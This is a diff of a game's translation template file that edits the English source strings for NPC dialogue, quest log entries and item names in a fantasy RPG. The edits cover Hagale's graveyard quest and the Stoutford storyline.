#: conversationlist_graveyard1.json:graveyardtraveler_30
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40:0
@@ -22330,7 +22343,7 @@ msgid "That is all I know . . . Come to think of it . . . Hagale from the Wood S
msgstr ""
#: conversationlist_graveyard1.json:algore_10
msgid "Oh yeah? What's it to you kid? BURP... If you want to know, it will cost you two bottles of Lowynas special brew."
msgid "Oh yeah? What's it to you kid? BURP...If you want to know, it will cost you two bottles of Lowynas special brew."
msgstr ""
#: conversationlist_graveyard1.json:algore_20
@@ -22340,12 +22353,12 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_30
msgid ""
"I thought nothing more of it. I was a simple trader in Loneford with a beautiful wife and daughter.\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
msgstr ""
#: conversationlist_graveyard1.json:algore_40
msgid ""
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"I realized that she wouldn't make it.\n"
"I watched as she suffered in agonizing pain. I knew without treatment she would die in a matter of weeks."
msgstr ""
@@ -22370,12 +22383,8 @@ msgstr ""
msgid "I heard you were interested in that unattended treasure chest by the Waterway house."
msgstr ""
#: conversationlist_graveyard1.json:algore_00:2
msgid "Don't breathe on me! I'm leaving!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99
msgid "You actually opened the chest? That sword must be worth a lot of money... could buy a lot of Lowyna's special brew... Sorry kid, but I need that sword!"
msgid "You actually opened the chest? That sword looks expensive . . . could buy a lot of Lowyna's special brew . . . sorry kid, but I need that sword!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:0
@@ -22383,15 +22392,7 @@ msgid "I went through hell to get this sword. I won't give it to you without a f
msgstr ""
#: conversationlist_graveyard1.json:algore_99:1
msgid "I went through a lot to get this sword... but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:algore_99:2
msgid "Yes, I have the sword, see here!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:3
msgid "I did find the sword, but I don't have it anymore."
msgid "I went through a lot to get this sword . . . but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_99
@@ -22424,7 +22425,7 @@ msgid "You think to yourself . . ."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest3:0
msgid "Nothing my weapon couldnt handle."
msgid "Nothing my weapon couldnt handle."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest4
@@ -22436,7 +22437,7 @@ msgid "The text begins to radiate light. The ground begins to shake as darkness
msgstr ""
#: conversationlist_graveyard1.json:graveyardwall_1a
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgstr ""
#: conversationlist_graveyard1.json:graveyardking_1
@@ -22492,7 +22493,7 @@ msgid "The text described a cemetery sealed by magic to contain a powerful undea
msgstr ""
#: conversationlist_graveyard1.json:algore_85
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour... it was putrid."
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour . . . it was putrid."
msgstr ""
#: conversationlist_graveyard1.json:algore_86
@@ -22500,7 +22501,7 @@ msgid "Suddenly, a horde of undead attacked me. I fought them off as best I coul
msgstr ""
#: conversationlist_graveyard1.json:algore_87
msgid "(Hagale finishes the second bottle of Lowynas special brew)... Sure do. I hope you know what youre doing kid."
msgid "(Hagale finishes the second bottle of Lowynas special brew) . . . Sure do. I hope you know what youre doing kid."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest5
@@ -22512,7 +22513,7 @@ msgid "Good luck."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day... it helps me forget."
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day . . . it helps me forget."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b:0
@@ -22649,7 +22650,7 @@ msgid "I haven't found out what is happening yet, but I wanted to let you know I
msgstr ""
#: conversationlist_graveyard1.json:algore_01
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgstr ""
#: conversationlist_graveyard1.json:algore_11
@@ -22658,7 +22659,7 @@ msgid ""
"\n"
"(Hagale immediately opens one of the bottles and takes a big swig, which he loudly swallows before wiping his mouth on the sleeve of his tattered shirt)\n"
"\n"
"Yeah, I know something about that chest... BURP... I almost opened it."
"Yeah, I know something about that chest . . . BURP . . . I almost opened it."
msgstr ""
#: conversationlist_graveyard1.json:algore_31
@@ -22683,18 +22684,20 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_32
msgid ""
"We were only halfway there when we were attacked by Plaguestriders. My daughter and I managed to escape...\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)... but my wife did not survive."
"We were only halfway there we were attacked by Plaguestriders. My daughter and I managed to escape\n"
". . .\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)\n"
". . . but my wife did not survive."
msgstr ""
#: conversationlist_graveyard1.json:algore_33
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through... but although the blisters were gradually healing, my daughter's health continued to decline."
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through . . . but although the blisters were gradually healing, my daughter's health continued to decline."
msgstr ""
#: conversationlist_graveyard1.json:algore_41
msgid ""
"I had to do something. I went to Fallhaven and begged Thoronir to make me a Bonemeal potion. Although it would have cured my daughter completely, he refused because Lord Geomyr banned all use of Bonemeal as a healing substance!\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
msgstr ""
#: conversationlist_graveyard1.json:algore_51
@@ -22717,14 +22720,6 @@ msgstr ""
msgid " Maybe he knows more. You should give him a visit."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:0
msgid "OK, I'll do that."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:1
msgid "Where is the Wood settlement?"
msgstr ""
#: conversationlist_graveyard1.json:cithurn_62
msgid "Well $playername, you are young, and you apologized, so perhaps I will be a little forgiving. Just remember that not everywhere is like your small village. My name is Cithurn."
msgstr ""
@@ -22940,7 +22935,7 @@ msgid "Is there something I can help you with?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1
msgid "No. Is there anything else?"
msgid "No. Is there anythng else?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1:0
@@ -23042,7 +23037,7 @@ msgid "The Guardian stares at you. You feel a sense of dread, but you resist the
msgstr ""
#: conversationlist_graveyard1.json:cithurn_130
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgstr ""
#: conversationlist_graveyard1.json:old_clothes_1
@@ -23077,62 +23072,6 @@ msgstr ""
msgid "There is nothing left to take from the corpse."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61
msgid "South of the Duleian road, close to Fallhaven."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61:0
msgid "OK. I'll go there now."
msgstr ""
#: conversationlist_graveyard1.json:algore_99c
msgid "Hey kid! Stop waving that thing at me! If you want to talk to me, put it away first!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d
msgid "So where is it?"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:0
msgid "I dropped it somewhere."
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:1
msgid "I sold it."
msgstr ""
#: conversationlist_graveyard1.json:algore_99e
msgid "Not too bright, are you kid? Perhaps you should go and pick it up again."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f
msgid "I gave you the text you needed to get that sword. I think some of that gold should be mine. If you don't give me some then I'll take it from you."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:0
msgid "OK, OK. I guess it's fair that you should get a share. Here's 1000 gp."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:1
msgid "No way! I fought to get the sword, and the profit is mine!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99g
msgid "Thanks kid. It's good to see you have some honor."
msgstr ""
#: conversationlist_graveyard1.json:algore_special2
msgid "Thanks for the gold kid. I decided that with the money I can rebuild my life. I'm going to sober up and start trading again. I'll be leaving here soon."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i
msgid "We'll see about that."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i:0
msgid "Yes, we will!"
msgstr ""
#: conversationlist_guynmart.json:guynmart_haystack
msgid "This is a haystack."
msgstr ""
@@ -24366,7 +24305,7 @@ msgid "OK, just a second."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40
msgid "Be welcome, $playername. I am Rorthron, the world's most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgid "Be welcome, $playername. I am Rorthron, world most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40:0
@@ -24548,7 +24487,6 @@ msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_steward3_24:0
#: conversationlist_stoutford_combined.json:berbane_110:0
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90:0
msgid "But ..."
msgstr ""
@@ -26256,7 +26194,7 @@ msgid "Sorry. I haven't seen anyone that looks like you. "
msgstr ""
#: conversationlist_trader_teksin.json:teksin30
msgid "I have been out in the wild for while, and have seen nobody since I left the main road weeks ago."
msgid "I have been out in the wilds for while, and have seen nobody since I left the main road weeks ago."
msgstr ""
#: conversationlist_trader_teksin.json:teksin40
@@ -26264,7 +26202,7 @@ msgid "I decided that I should find a better route to Remgard. The road through
msgstr ""
#: conversationlist_trader_teksin.json:teksin50
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close. It's north across this lake, but there is no way to cross, or to go further east around the lake."
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close, north across this lake, but there is no way to cross, or to go further east around the lake."
msgstr ""
#: conversationlist_trader_teksin.json:teksin50:0
@@ -26325,7 +26263,7 @@ msgid "OK. Show me what you have."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100
msgid "For you, I will offer the special price of 4999 gold."
msgid "For you, I will offer the special price of 4999gp."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100:0
@@ -26359,7 +26297,7 @@ msgid "Thanks for the advice. I need to go now."
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_0
msgid "Welcome to our wonderful Inn. How can we help you?"
msgid "Welcome to Stoutford kid. "
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_1
@@ -26410,10 +26348,6 @@ msgstr ""
msgid "Why are monster attacks increasing?"
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_4:3
msgid "Thanks for the information. I have to leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:cornith_0
msgid "Hello, welcome to my shop"
msgstr ""
@@ -26474,7 +26408,7 @@ msgid ""
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_5
msgid "He told me that it is very far from here, to the northeast, beyond the river and the mountains."
msgid "He told me that it is very far from here, beyond the river and the mountains."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_6
@@ -26885,7 +26819,7 @@ msgid "Yes, I have dealt with most of the trolls. They won't dare to bother you
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4
msgid "Thank you so much! I wish you safe travels back to Stoutford. If you want to go to the glade next time you are in Remgard, just ask me for the key."
msgid "Thank you so much! If ever you want to go to the glade, just ask me for the key."
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4:0
@@ -27061,7 +26995,7 @@ msgid "Who are "they"?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_9
msgid "Our priest, Tahalendor, was convinced by my uncle, Blornvale, my father's own brother."
msgid "Our priest, Talahendor, was convinced by my uncle, Blornvale, my father's own brother."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_10
@@ -27212,7 +27146,7 @@ msgid "You are right. We need a credible witness ..."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2
msgid "Best would be Tahalendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgid "Best would be Talahendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2:0
@@ -27238,7 +27172,6 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns74_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70
msgid "Any news about the murderer?"
msgstr ""
@@ -27372,7 +27305,7 @@ msgid "That's all children's stuff"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3
msgid "What did you expect? You are a kid after all. I can't give you strong potions!"
msgid "What did you expect? You are a kid after all. I must not give strong potions to you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:0
@@ -27380,7 +27313,9 @@ msgid "You are right. Have a nice day."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:1
msgid "It is not for me of course. My father and his men are fighting in Flagstone right now. They urgently need some useful potions, not soap! I think three potions of the brave would do it, if you happen to have them. And possibly more, if it is good stuff."
msgid ""
"It is not for me of course. My father and his men are fighting in Flagstone right now. They need urgently some useful potions, not soap!\n"
"I think of three potions of the brave, if you happen to have. And more if it is good stuff."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4
@@ -27388,7 +27323,7 @@ msgid "Ah. Oh. That changes everything. Wait a second."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4:0
msgid "I'm in a hurry."
msgid "Look lively now."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_shop2
@@ -27485,6 +27420,14 @@ msgstr ""
msgid "I have heard enough. Thank you, kid. I will ensure that Blornvale never makes trouble again."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns74
msgid "You dare to come here again?"
msgstr ""
@@ -27630,7 +27573,6 @@ msgid "The path to Blackwater mountain was cut off by a rock fall. That stopped
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_2:0
#: conversationlist_stoutford_combined.json:odirath_1_4:3
msgid "How do I get to Blackwater mountain?"
msgstr ""
@@ -27650,10 +27592,6 @@ msgstr ""
msgid "Thanks. What about the monsters?"
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_3:2
msgid "Thanks for the information. Please show me what you have to trade."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_4
msgid "They started attacking the town recently. Nobody is sure why. Their attacks have been unsuccessful, so we are all hoping that they will give up soon and go back to wherever they came from."
msgstr ""
@@ -27667,7 +27605,7 @@ msgid "Thanks. I'm looking for my brother, Andor. Has anyone new been through he
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2
msgid "Yes, indeed. My daughter has not come home for some days. I don't know what's happened to her."
msgid "Yes, indeed. My daughter has not come home for some days. I do not know what's wrong with her."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2:0
@@ -27802,11 +27740,6 @@ msgstr ""
msgid "And bonemeal is forbidden."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4:2
#: conversationlist_stoutford_combined.json:yolgen_4a:1
msgid "I will clear the castle of undead for you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4a
msgid "Yes, incredible! Although kids like you should not play with such things."
msgstr ""
@@ -27847,10 +27780,6 @@ msgstr ""
msgid "That dreadful place has been left abandoned ever since. Recently, however, undead have started pouring out of the prison, and we had to send guards to keep them away from the road. "
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:0
msgid "I took care of that"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:1
msgid "Can I help you with Flagstone?"
msgstr ""
@@ -27887,11 +27816,6 @@ msgstr ""
msgid "That sounds dreadful. Can I help you with the castle?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_1
msgid "Well, you already were of great help. Thank you again!"
msgstr ""
@@ -27916,10 +27840,6 @@ msgstr ""
msgid "OK. I will go to the prison."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_1:1
msgid "I cleared flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_2
msgid "Can you clear the castle?"
msgstr ""
@@ -27941,10 +27861,14 @@ msgid "If you could help with Flagstone, it would take a big burden off us."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:0
msgid "I have been inside Flagstone, but I will go back and find out more."
msgid "I already took care of Flagstone. I cleared it of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:1
msgid "I have been inside Flagstone, but I will go back and find out more."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
msgid "OK, I will take a look."
msgstr ""
@@ -27961,11 +27885,7 @@ msgid "Thank you kindly. Shadow be with you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4
msgid "Yes, thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4:1
msgid "Where do you think they came from?"
msgid "Thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_reinforcements_2
@@ -28061,7 +27981,7 @@ msgid "What would I gain from that?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:1
msgid "You are very rude and poorly educated. Maybe I should introduce myself? $playername is my name."
msgid "You are very rude and poorly educated. May I should introduce myself? $playername is my name."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:2
@@ -28151,7 +28071,7 @@ msgid "Well, it was a tough fight, but I managed to slay Lord Erwyn himself."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2:1
msgid "The undead are no match for me."
msgid "Undeads are no match for me."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2a
@@ -28187,7 +28107,7 @@ msgid "Yolgen puts the ring on his altar and chants a spell. Suddenly the altar
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6
msgid "That is it. The ring is destroyed. I wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgid "That is it. The ring is destroyed. I just wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6:0
@@ -28510,7 +28430,7 @@ msgid "Hi kid. It is nice and warm here next to the fire. Come and make yourself
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp1_10:0
msgid "Ah, no thank you. I have more interesting things to do."
msgid "Ah, no thank you. I have more interesting things to do now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_10
@@ -28522,7 +28442,7 @@ msgid "No. We're on a military exercise right now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30
msgid "We saw another horde of undead approach the castle just as we left. We hurried here, so that we can complete our exercise and be back in time to be able to help."
msgid "We just saw another horde of undead approach the castle when we left. We hurried to this place, so that we can be back in time to be able to help."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_30:0
@@ -28542,7 +28462,7 @@ msgid "I had better leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_40:2
msgid "I had better leave now. You do not need to hurry with your exercise. All your comrades have already been killed by the undead."
msgid "I had better leave now. And you need not hurry with your exercise. All your comrades have already been killed by the undead."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_guard_camp2_42
@@ -29052,11 +28972,11 @@ msgid "$playername! What do you think you are doing?!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131:0
msgid "Mikhail! You are here?"
msgid "Mikhail! You here?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2
msgid "We need you back home. Andor is back since a long time ago, and we have our hands full trying to control the rat plague."
msgid "We need you at home. Andor is back since long, and we have our hands full trying to control the rat plague."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_2:0
@@ -29068,7 +28988,7 @@ msgid "Come with me now. And give me back my ring."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:0
msgid "Sure, here is your ring. It was very useful in the beginning, but I don't need it anymore."
msgid "Sure, here is your ring. It was very useful in the beginning, but now I don't need it anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_3:1
@@ -29086,11 +29006,11 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4a
msgid ""
"[Ring taken]\n"
"Thank you, stupid boy."
"Thank you, stupid."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_4b
msgid "You think you are clever? Useless kid!"
msgid "You think yourself clever? Useless kid!"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_131_10a
@@ -29106,11 +29026,11 @@ msgid "I am impressed. You won the fight with my poser."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132:0
msgid "A Poser? What's that?"
msgid "A Poser? What's this?"
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a
msgid "A poser can imitate someone you have had in mind recently. Also, if you give him some object, then he can turn it into a second duplicate."
msgid "A poser could imitate someone you have in mind lately. And if you give him some object, then he turns it into a second duplicate."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20a:0
@@ -29118,7 +29038,7 @@ msgid "Yes, but two Mikhails were a little bit too conspicuous."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b
msgid "A poser can imitate a person you have had in mind recently, if you don't give him anything."
msgid "A poser could imitate one person you have in mind lately, if you don't give him anything."
msgstr ""
#: conversationlist_stoutford_combined.json:stn_colonel_132_20b:0
@@ -29310,62 +29230,6 @@ msgstr ""
msgid "Ah, I knew you did. You may pass."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70:0
msgid "Yes, but it's not good news. Tahalendor won't believe me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_10:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20
msgid "You gave me a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_20:0
msgid "That will not help you. You are forced to tell the truth."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_30
msgid "I don't think so. After all, I'm a potion maker and I have an antidote for it."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_40
msgid "Ah, I see, Tahalendor is here too, fine. Tahalendor, here is a stupid little kid with too much imagination. Please take it with you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_50
msgid "Sorry Blornvale, first I have to ask you if you killed Aryfora's father, your own brother?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60
msgid "Of course not. Nobody is sadder about the loss than me."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_60:0
msgid "He lies. Can't you see?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_70
msgid "Here, Tahalendor, I'll give you a bottle of your favorite potion. And please take this child with you when you go."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_80
msgid "I will, sorry for disturbing you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90
msgid "And you child, go away now and tell no more fairy tales."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72_92
msgid "No more words. Go now!"
msgstr ""
#: itemcategories_1.json:dagger
msgid "Dagger"
msgstr ""
@@ -31286,10 +31150,6 @@ msgstr ""
msgid "Rose"
msgstr ""
#: itemlist_guynmart.json:guynmart_rose:description
msgid "Perpetual fragrance flows around this queen of flowers."
msgstr ""
#: itemlist_guynmart.json:guynmart_flute
msgid "Lovis' Flute"
msgstr ""
@@ -31346,10 +31206,6 @@ msgstr ""
msgid "Ring of dexterity"
msgstr ""
#: itemlist_trader_teksin.json:bwm_gloves
msgid "Blackwater gloves"
msgstr ""
#: itemlist_stoutford_combined.json:ferm-garlic
msgid "Fermented garlic"
msgstr ""
@@ -31362,10 +31218,6 @@ msgstr ""
msgid "Smoked sausage"
msgstr ""
#: itemlist_stoutford_combined.json:smoked-sausage:description
msgid "It smells... smokey."
msgstr ""
#: itemlist_stoutford_combined.json:pickled-cabbage
msgid "Pickled cabbage"
msgstr ""
@@ -36366,11 +36218,11 @@ msgid "Destined for great things"
msgstr ""
#: questlist_v070_charwood.json:charwood1:10
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, has had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgid "I heard a rumor that some mining town in the Charwood forest, northwest of the Foaming Flask tavern, have had some troubles recently. I should try to find the Charwood cabin and find out what has happened."
msgstr ""
#: questlist_v070_charwood.json:charwood1:11
msgid "I heard someone mention that the mining town of Charwood heights has had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgid "I heard someone mentioning that the mining town of Charwood heights have had some troubles recently. I should search for the Charwood cabin in the forest northwest of the Foaming Flask tavern."
msgstr ""
#: questlist_v070_charwood.json:charwood1:19
@@ -36398,7 +36250,7 @@ msgid "I encountered one of the monsters that Maevalia spoke of. The monster spo
msgstr ""
#: questlist_v070_charwood.json:charwood1:41
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him from the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgid "I have found Falothen, the weapons trainer of the Charwood heights, and freed him of the restraints that held him. He will try to make his way back to the Charwood cabin himself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:42
@@ -36406,7 +36258,7 @@ msgid "I have found some skeletal remains, containing a ring with the insignia '
msgstr ""
#: questlist_v070_charwood.json:charwood1:43
msgid "I have found the armorer Fayvara, and freed her from the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgid "I have found the armorer Fayvara, and freed her of the restraints that held her. She will try to make her way back to the Charwood cabin herself."
msgstr ""
#: questlist_v070_charwood.json:charwood1:44
@@ -36422,7 +36274,7 @@ msgid "She told me that both Falothen and Fayvara are anxious to see me, in the
msgstr ""
#: questlist_v070_charwood.json:charwood1:65
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgid "Falothen was happy to see me again, and in return offered to train me in better handling of one weapon type. He can teach me better handling of one- or two handed swords, daggers, blunt weapons, axes, or unarmed combat. I'll have to chose my preference and let him know."
msgstr ""
#: questlist_v070_charwood.json:charwood1:70
@@ -36982,7 +36834,7 @@ msgid "The traveler told me that Hagale in the Wood settlement might know how to
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:35
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgid "I went to the Wood settlement and found Hagale. He was a drunk mess and would not speak to me unless I brought him two Lowynas special brew."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:40
@@ -37002,7 +36854,7 @@ msgid "I killed the undead and took the key."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:80
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:90
@@ -37013,14 +36865,6 @@ msgstr ""
msgid "Hagale tried to rob me and take the sword. He lost his wife and daughter and wasn't thinking straight. I gave him the sword without a fight."
